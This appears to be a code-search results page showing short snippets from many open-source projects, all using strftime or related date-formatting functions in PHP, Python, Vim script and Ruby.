144 if ($timestamp > $this->_today || $timestamp > ($this->_now - 21600)) {
145 // today or in the last 6 hours
146 $time = strftime("%H:%M", $timestamp);
147 } elseif ($timestamp > ($this->_today - 64800)) {
148 // yesterday but in the last 18 hours
onorder-test.php (https://github.com/tmacon/test_myrcpl.git) PHP · 78 lines
mostrequested-digital.php (https://github.com/tmacon/test_myrcpl.git) PHP · 88 lines
defaultviewhelpershownavtablebar.php (https://github.com/ajiboye/JEvents.git) PHP · 122 lines
actions.class.php (https://github.com/campusdomar/PuMuKIT1.git) PHP · 185 lines
1 <?php
3 /**
7 * @subpackage library
8 * @author Your name here
9 * @version SVN: $Id: actions.class.php 2692 2006-11-15 21:03:55Z fabien $
10 */
11 class libraryActions extends sfActions
116 setlocale(LC_ALL, $this->getUser()->getCulture().'_ES.UTF8');
118 $date = strftime("%m-%Y", $resultset->getDate('date', null));
120 $f_str = 'return $a->getPublicDate("%m-%Y") == \''. $date .'\';';
124 if (count($temp) != 0) {
125 $serials[strftime("%B-%Y", $resultset->getDate('date', null))] = $temp;
126 }
127 }
date_wise_report_pdf.php (https://bitbucket.org/trungams/timetracking.git) PHP · 105 lines
4 <title><?= lang('transactions_report') ?></title>
5 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
6 <?php
7 $direction = $this->session->userdata('direction');
8 if (!empty($direction) && $direction == 'rtl') {
14 th {
15 padding: 10px 0px 5px 5px;
16 <?php if(!empty($RTL)){?> text-align: right;<?php }else{?>text-align: left;<?php }?>
17 font-size: 13px;
18 border: 1px solid black;
23 border: 1px solid black;
24 font-size: 13px;
25 <?php if(!empty($RTL)){?> text-align: right;<?php }else{?>text-align: left;<?php }?>
26 }
27 </style>
sqlite.php (https://github.com/jaws-project/jaws.git) PHP · 191 lines
1 <?php
2 // +----------------------------------------------------------------------+
3 // | PHP versions 4 and 5 |
8 // +----------------------------------------------------------------------+
9 // | MDB2 is a merge of PEAR DB and Metabases that provides a unified DB |
10 // | API as well as database abstraction for PHP applications. |
11 // | This LICENSE is in the BSD license style. |
12 // | |
43 // +----------------------------------------------------------------------+
44 //
45 // $Id: sqlite.php 327310 2012-08-27 15:16:18Z danielc $
46 //
48 require_once 'MDB2/Driver/Function/Common.php';
50 /**
getResponseData.php (https://gitlab.com/morganestes/wordpress-develop) PHP · 194 lines
date element.html (https://github.com/Skullbock/docs.git) HTML · 52 lines
34 <p>If you activated the Repeatable option in step 1 you can choose how the values are separated in the frontend. You can choose between different chars like comma or pipe or the values can be wrapped by a html tag like a div or a li.</p>
36 <p>With the date format you can choose, how the date is shown to the visitors. See <a href="http://www.php.net/manual/en/function.strftime.php" target="_blank">this site</a> for an explanation of the values. If you set this selectbox to "custom format" and type in the last field an own format following the same rules.</p>
37 </div>
DateFieldTest.php (https://github.com/sminnee/silverstripe-framework.git) PHP · 194 lines
1 <?php
2 /**
3 * @package framework
42 $f = new DateField('Date');
43 $f->setConfig('min', '-7 days');
44 $f->setValue(strftime('%Y-%m-%d', strtotime('-8 days')));
45 $this->assertFalse($f->validate(new RequiredFields()), 'Date below min date, with strtotime');
47 $f = new DateField('Date');
48 $f->setConfig('min', '-7 days');
49 $f->setValue(strftime('%Y-%m-%d', strtotime('-7 days')));
50 $this->assertTrue($f->validate(new RequiredFields()), 'Date matching min date, with strtotime');
51 }
54 $f = new DateField('Date');
55 $f->setConfig('max', '7 days');
56 $f->setValue(strftime('%Y-%m-%d', strtotime('8 days')));
57 $this->assertFalse($f->validate(new RequiredFields()), 'Date above max date, with strtotime');
profile_friends.php (https://github.com/terasa/import_repo.git) PHP · 171 lines
2 <div class="gadgets-gadget-chrome">
3 <div class="gadgets-gadget-title-bar">
4 <div class="gadgets-gadget-title-button-bar"><a href="<?php echo PartuzaConfig::get("web_prefix")?>/profile/friends/<?php echo $vars['person']['id']?>" title="View all.."><span class="ui-icon ui-icon ui-icon-carat-1-e" ></span></div>
5 <span class="gadgets-gadget-title"><?php echo $vars['person']['first_name']?>'s friends (<?php echo count($vars['friends'])?>)</span>
6 </div>
7 <div style="margin-left: 6px">
8 <?php
9 $cnt = 0;
10 foreach ($vars['friends'] as $friend) {
36 <div class="gadgets-gadget-chrome">
37 <div class="gadgets-gadget-title-bar">
38 <?php
39 if ($vars['is_owner']) {
40 echo "<div class=\"gadgets-gadget-title-button-bar\"><a href=\"" . PartuzaConfig::get('web_prefix') . "/profile/edit\" title=\"Edit your profile\"><span class=\"ui-icon ui-icon-pencil\"></span></a></div>";
45 <div style="margin: 6px">
46 <div class="form_entry">
47 <div class="info_detail"><?php echo $vars['person']['first_name'] . " " . $vars['person']['last_name']?></div> name</div>
48 <?php
message.php (https://gitlab.com/unofficial-mirrors/moodle) PHP · 115 lines
1 <?php
2 // This file is part of Moodle - http://moodle.org/
3 //
102 $message->text = $this->text;
103 $message->displayblocktime = $this->displayblocktime;
104 $message->blocktime = userdate($this->timecreated, get_string('strftimedaydate'));
105 $message->position = 'left';
106 if ($this->currentuserid == $this->useridfrom) {
107 $message->position = 'right';
108 }
109 $message->timesent = userdate($this->timecreated, get_string('strftimetime'));
110 $message->timecreated = $this->timecreated;
111 $message->isread = !empty($this->timeread) ? 1 : 0;
function.html_select_time.php (https://github.com/kop1/newznab.git) PHP · 194 lines
1 <?php
2 /**
3 * Smarty plugin
14 * Purpose: Prints the dropdowns for time selection
15 *
16 * @link http://smarty.php.net/manual/en/language.function.html.select.time.php {html_select_time}
17 * (Smarty online manual)
18 * @author Roberto Berto <roberto@berto.net>
25 function smarty_function_html_select_time($params, $template)
26 {
27 require_once(SMARTY_PLUGINS_DIR . 'shared.make_timestamp.php');
28 require_once(SMARTY_PLUGINS_DIR . 'function.html_options.php');
38 $minute_interval = 1;
39 $second_interval = 1;
40 /* Should the select boxes be part of an array when returned from PHP?
41 e.g. setting it to "birthday", would create "birthday[Hour]",
42 "birthday[Minute]", "birthday[Seconds]" & "birthday[Meridian]".
upgrade.php (https://github.com/richardmansfield/richardms-mahara.git) PHP · 114 lines
1 <?php
2 /**
3 * Mahara: Electronic portfolio, weblog, resume builder and social networking
66 set_field($table, 'displayorder', $k, 'id', $r->id);
67 set_field($table, 'startdate',
68 format_date(strtotime($r->startdate), 'strftimedate', 'current', 'artefact.resume'),
69 'id', $r->id);
70 set_field($table, 'enddate',
71 format_date(strtotime($r->enddate), 'strftimedate', 'current', 'artefact.resume'),
72 'id', $r->id);
73 }
95 set_field($table, 'displayorder', $k, 'id', $r->id);
96 set_field($table, 'date',
97 format_date(strtotime($r->date), 'strftimedate', 'current', 'artefact.resume'),
98 'id', $r->id);
99 }
test_date_helper.py (https://github.com/awolf/Foojal.git) Python · 248 lines
1 from calendar import monthrange
2 from time import strftime
3 import unittest
4 from foo.date_helper import week_begin_end_dates, get_day_data, get_week_data, get_month_data
140 assert from_date == values['target_day']
141 assert from_date == values['display_date']
142 assert values['previous_date_url'] == strftime("/day/%d/%m/%Y", yesterday.timetuple())
143 assert values['next_date_url'] is None
240 previous_date = from_date - a_day
241 previous_date_url = strftime("/month/%m/%Y", previous_date.timetuple())
243 assert from_date == values['from_date']
osm-sc-info.php (https://github.com/livinglab/openlab.git) PHP · 71 lines
1 <?php
2 /* (c) Copyright 2014 Michael Kang (wp-osm-plugin.HanBlog.Net)
37 $sec = intval($diff);
38 $micro = $diff - $sec;
39 $final = strftime('%T', mktime(0, 0, $sec)) . str_replace('0.', '.', sprintf('%.3f', $micro));
40 $Counter = sprintf("%03d",$Counter);
62 $sec = intval($diff);
63 $micro = $diff - $sec;
64 $final = strftime('%T', mktime(0, 0, $sec)) . str_replace('0.', '.', sprintf('%.3f', $micro));
65 $Counter = sprintf("%03d",$Counter);
66 $count_pages = wp_count_posts('page');
firebug.php (https://github.com/sseshachala/Open-Web-Analytics.git) PHP · 214 lines
1 <?php
2 /**
3 * $Header$
17 * @package Log
18 *
19 * @example firebug.php Using the firebug handler.
20 */
21 class Log_firebug extends Log
44 /**
45 * String containing the timestamp format. It will be passed directly to
46 * strftime(). Note that the timestamp string will generated using the
47 * current locale.
48 *
79 * @access public
80 */
81 function Log_firebug($name = '', $ident = 'PHP', $conf = array(),
82 $level = PEAR_LOG_DEBUG)
83 {
Logger.php (https://github.com/yonpols/ypframework.git) PHP · 154 lines
1 <?php
2 class Logger extends YPFObject {
3 private static $frameworkLog = array();
43 return;
45 $text = sprintf("[%s] \x1B[1;%d;1m%s:%s\x1B[0;0;0m %s\n", strftime('%F %T'), self::getColor($type), $type, $subtype, $log);
47 if (self::$frameworkLogFileName)
70 return;
72 $text = sprintf("[%s] \x1B[1;%d;1m%s:%s\x1B[0;0;0m %s\n", strftime('%F %T'), self::getColor($type), $type, $subtype, $log);
74 if (self::$applicationLogFileName)
blog_lang.php (https://github.com/ekoisa/pyrocms.git) PHP · 67 lines
Date.php (https://github.com/finger2000/horde.git) PHP · 258 lines
1 <?php
2 /**
3 * Helper functions to handle format conversions.
4 *
5 * PHP version 5
6 *
7 * @category Kolab
10 * @author Thomas Jarosch <thomas.jarosch@intra2net.com>
11 * @license http://www.horde.org/licenses/lgpl21 LGPL 2.1
12 * @link http://pear.horde.org/index.php?package=Kolab_Server
13 */
15 /**
16 * Kolab date handling functions. Based upon Kolab.php from Stuart Binge.
17 *
18 * Copyright 2004-2011 Horde LLC (http://www.horde.org/)
__init__.py (https://github.com/mw44118/pitz.git) Python · 278 lines
Date.php (https://bitbucket.org/spenna/alexoo_produzione.git) PHP · 225 lines
1 <?php
2 /**
3 * aheadWorks Co.
165 $aResult['tm_mon'] + 1, $aResult['tm_mday'], $aResult['tm_year'] + 1900);
167 // Before PHP 5.1 return -1 when error
168 if(($nParsedDateTimestamp === false)
169 ||($nParsedDateTimestamp === -1)) return false;
171 $aResult['tm_wday'] = (int) strftime("%w", $nParsedDateTimestamp); // Days since Sunday (0-6)
172 $aResult['tm_yday'] = (strftime("%j", $nParsedDateTimestamp) - 1); // Days since January 1 (0-365)
friend.php (http://praized.googlecode.com/svn/trunk/) PHP · 358 lines
14 * Template function: Tests if a valid friend object is set.
15 *
16 * <code><?php if ( pzdc_has_friend() ) : ?>...<?php endif; ?></code>
17 *
18 * @param string $identifier Optional user identifier (login) for custom template development (see bundled praized-php lib)
28 * Template function: Current friend object
29 *
30 * <code><?php $friend_object = pzdc_friend(); ?></code>
31 *
32 * @param string $identifier Optional user identifier (login) for custom template development (see bundled praized-php lib)
166 *
167 * @param boolean $echo Defines if the output should be echoed or simpy returned, defaults to TRUE
168 * @param string $identifier Optional friend identifier (login) for custom template development (see bundled praized-php lib)
169 * @return string
170 * @since 2.0
290 * @param string $format strftime() conversion specifiers
291 * @param string $identifier Optional user identifier (login) for custom template development (see bundled praized-php lib)
292 * @return string
293 * @since 0.1
page-directory-members.php (https://gitlab.com/Blueprint-Marketing/interoccupy.net) PHP · 116 lines
73 <div class="row">
74 <div class="column grid_2">
75 <a href="<?php echo $blog_details->siteurl; ?>"><?php echo get_avatar($curauth->user_email, '96','http://www.gravatar.com/avatar/ad516503a11cd5ca435acc9bb6523536'); ?></a>
76 </div>
77 <div class="column grid_6">
78 <a href="<?php echo $blog_details->siteurl; ?>" title="<?php echo $curauth->display_name; ?> - <?=$blog_details->blogname?>"><?php //echo $curauth->display_name; ?> <?=$curauth->display_name;?></a><br />
79 <small><strong>Updated <?=$updatedOn?></strong></small><br />
80 <?php echo $curauth->description; ?>
85 </div>
86 </div>
87 <span class="post_count"><a href="<?php echo $blog_details->siteurl; ?>" title="<?php echo $curauth->display_name; ?>"><?=$blog_details->post_count?><br /><?=$postText?></a></span>
88 </div>
89 <?php } ?>
notrackd.py (https://github.com/quidsup/notrack.git) Python · 251 lines
138 global runtime_analytics, runtime_blocklist, runtime_trim
140 dtanalytics = datetime.strptime(time.strftime("%y-%m-%d %H:00:00"), '%y-%m-%d %H:%M:%S')
141 dtblocklist = datetime.strptime(time.strftime("%y-%m-%d 04:10:00"), '%y-%m-%d %H:%M:%S')
142 dttrim = datetime.strptime(time.strftime("%y-%m-%d 03:10:00"), '%y-%m-%d %H:%M:%S')
144 runtime_analytics = dtanalytics.timestamp()
175 filechanged = config.check_modified_times() #Check for the first file modified
177 if filechanged == 'status.php': #Status Config
178 print('Status config updated')
179 if get_status(config.status) != config.status:
180 change_status()
182 elif filechanged == 'bl.php': #Blocklist Config
183 print('Blocklist config updated')
184 blocklist_update()
downloadRadioArkivo.py (https://gitlab.com/capiscuas/bitarkivo) Python · 126 lines
27 for i in range(500):
28 date_1 = date_1 - datetime.timedelta(days=1)
29 month = date_1.strftime('%m')
30 year = date_1.strftime('%Y')
31 day = date_1.strftime('%d')
32 print prefix+year+month+day+".mp3"+'"'
73 output.write('\n')
74 output.write('\n#-----------------------------')
75 url = 'https://web.archive.org/web/20070224064915/http://www.radioarkivo.org/plenlisto.php/'+str(1)
76 print url
77 html = urlopen(url).read()
core.write_compiled_include.php (https://github.com/mrbmc/erector.git) PHP · 91 lines
1 <?php
2 /**
3 * Smarty plugin
27 // convert the matched php-code to functions
28 $_include_compiled = "<?php /* Smarty version ".$smarty->_version.", created on ".strftime("%Y-%m-%d %H:%M:%S")."\n";
29 $_include_compiled .= " compiled from " . strtr(urlencode($params['resource_name']), array('%2F'=>'/', '%3A'=>':')) . " */\n\n";
36 $_include_compiled .= $params['plugins_code'];
37 $_include_compiled .= "<?php";
39 $this_varname = ((double)phpversion() >= 5.0) ? '_smarty' : 'this';
43 if ($this_varname == '_smarty') {
44 /* rename $this to $_smarty in the sourcecode */
45 $tokens = token_get_all('<?php ' . $_match[4]);
47 /* remove trailing <?php */
test_crash_adu_by_build_signature.py (https://github.com/lauraxt/socorro.git) Python · 243 lines
date.vim (https://gitlab.com/jeichert/vimrc) Vim Script · 120 lines
1 " date.vim
2 " @Author: Tom Link (mailto:micathom AT gmail com?subject=[vim])
3 " @Website: http://www.vim.org/account/profile.php?user_id=4037
4 " @License: GPL (see http://www.gnu.org/licenses/gpl.txt)
5 " @Created: 2010-03-25.
113 endwh
114 let seconds = (days_passed - 1) * 24 * 60 * 60
115 let seconds = seconds + (strftime('%H') + g:tlib#date#TimeZoneShift) * 60 * 60
116 let seconds = seconds + strftime('%M') * 60
117 let seconds = seconds + strftime('%S')
118 return seconds
119 endf
toolbar.php (https://github.com/horaciocaine/top.git) PHP · 204 lines
1 <?php
2 /**
3 * Editing toolbar functions
9 if(!defined('DOKU_INC')) die('meh.');
10 require_once(DOKU_INC.'inc/JSON.php');
150 'title' => $lang['qb_media'],
151 'icon' => 'image.png',
152 'url' => DOKU_BASE.'lib/exe/mediamanager.php?ns=',
153 'name' => 'mediaselect',
154 'options'=> 'width=750,height=500,left=20,top=20,scrollbars=yes,resizable=yes',
194 $sig = $conf['signature'];
195 $sig = strftime($sig);
196 $sig = str_replace('@USER@',$_SERVER['REMOTE_USER'],$sig);
197 $sig = str_replace('@NAME@',$INFO['userinfo']['name'],$sig);
savecomic.php (https://github.com/ewandor/horde.git) PHP · 66 lines
1 <?php
2 /**
3 * Script for saving a comic to an image gallery. UI template stolen from
13 */
15 require_once dirname(__FILE__) . '/lib/Application.php';
16 Horde_Registry::appInit('klutz');
37 $desc = Horde_Util::getFormData('desc', '');
38 $image_data = array(
39 'filename' => $comic->name . '-' . strftime('%m%d%Y', $date) . '.' . str_replace('image/', '', $image->type), // Suggestions for better name?
40 'description' => $desc,
41 'data' => $image->data,
63 $title = _("Save Image");
64 require $registry->get('templates', 'horde') . '/common-header.inc';
65 require KLUTZ_TEMPLATES . '/savecomic.html.php';
66 require $registry->get('templates', 'horde') . '/common-footer.inc';
extended.vim (https://gitlab.com/jeichert/vimrc) Vim Script · 147 lines
mailout-debugger.php (https://github.com/markn86/moodle.git) PHP · 77 lines
1 #!/usr/bin/php
2 <?php
6 * "stand-in" when testing mailouts.
7 *
8 * It is not Moodle specific - use it anywhere by setting the php
9 * "sendmail_path" setting to this file with a logfile parameter.
10 *
11 * - Set in php.ini (not settable in config.php):
12 * sendmail_path=/path-to-moodle/admin/mailout-debugger.php');
13 * Or from the commandline
14 * php -d sendmail_path='/path-to-moodle/admin/mailout-debugger.php' /path/to/cron.php
15 *
16 * - Create a file in admin called mailout-debugger.enable
FormatDateHelperTest.php (https://gitlab.com/fabiorf/chat) PHP · 86 lines
1 <?php
2 /*
3 * This file is part of Handlebars.php Helpers Set
18 * @author Dmitriy Simushev <simushevds@gmail.com>
19 */
20 class FormatDateHelperTest extends \PHPUnit_Framework_TestCase
21 {
22 /**
46 $now = new \DateTime();
47 $format = "%H:%M %d-%m-%Y";
48 $expected = strftime($format, $now->getTimestamp());
50 return array(
DateTime.php (https://github.com/shooray/oscommerce.git) PHP · 283 lines
1 <?php
2 /**
3 * osCommerce Online Merchant
49 if ( @date('Y', mktime($hour, $minute, $second, $month, $day, $year)) == $year ) {
50 return strftime($OSCOM_Language->getDateFormatShort($with_time), mktime($hour, $minute, $second, $month, $day, $year));
51 } else {
52 return preg_replace('/2037/', $year, strftime($OSCOM_Language->getDateFormatShort($with_time), mktime($hour, $minute, $second, $month, $day, 2037)));
74 if ( @date('Y', mktime($hour, $minute, $second, $month, $day, $year)) == $year ) {
75 return strftime($OSCOM_Language->getDateFormatLong(), mktime($hour, $minute, $second, $month, $day, $year));
76 } else {
77 return preg_replace('/2037/', $year, strftime($OSCOM_Language->getDateFormatLong(), mktime($hour, $minute, $second, $month, $day, 2037)));
archive.php (https://github.com/silentworks/wolfcms.git) PHP · 181 lines
stats_controller.rb (https://github.com/EOL/capstone_eol.git) Ruby · 76 lines
7 def index
8 @reports_list = [["--select--",""],
9 ["EOL Web Usage Statistics","http://services.eol.org/eol_php_code/applications/google_stats/index.php"],
10 ["EOL Names Stat","http://services.eol.org/names_stat/"],
11 ["EOL Transfer Schema XML Validator","http://services.eol.org/validator/"],
68 var_date = var_date - 1.month
69 str = var_date.year.to_s + "_" + "%02d" % var_date.month.to_s
70 arr << var_date.strftime("%Y")
71 end
72 return arr.uniq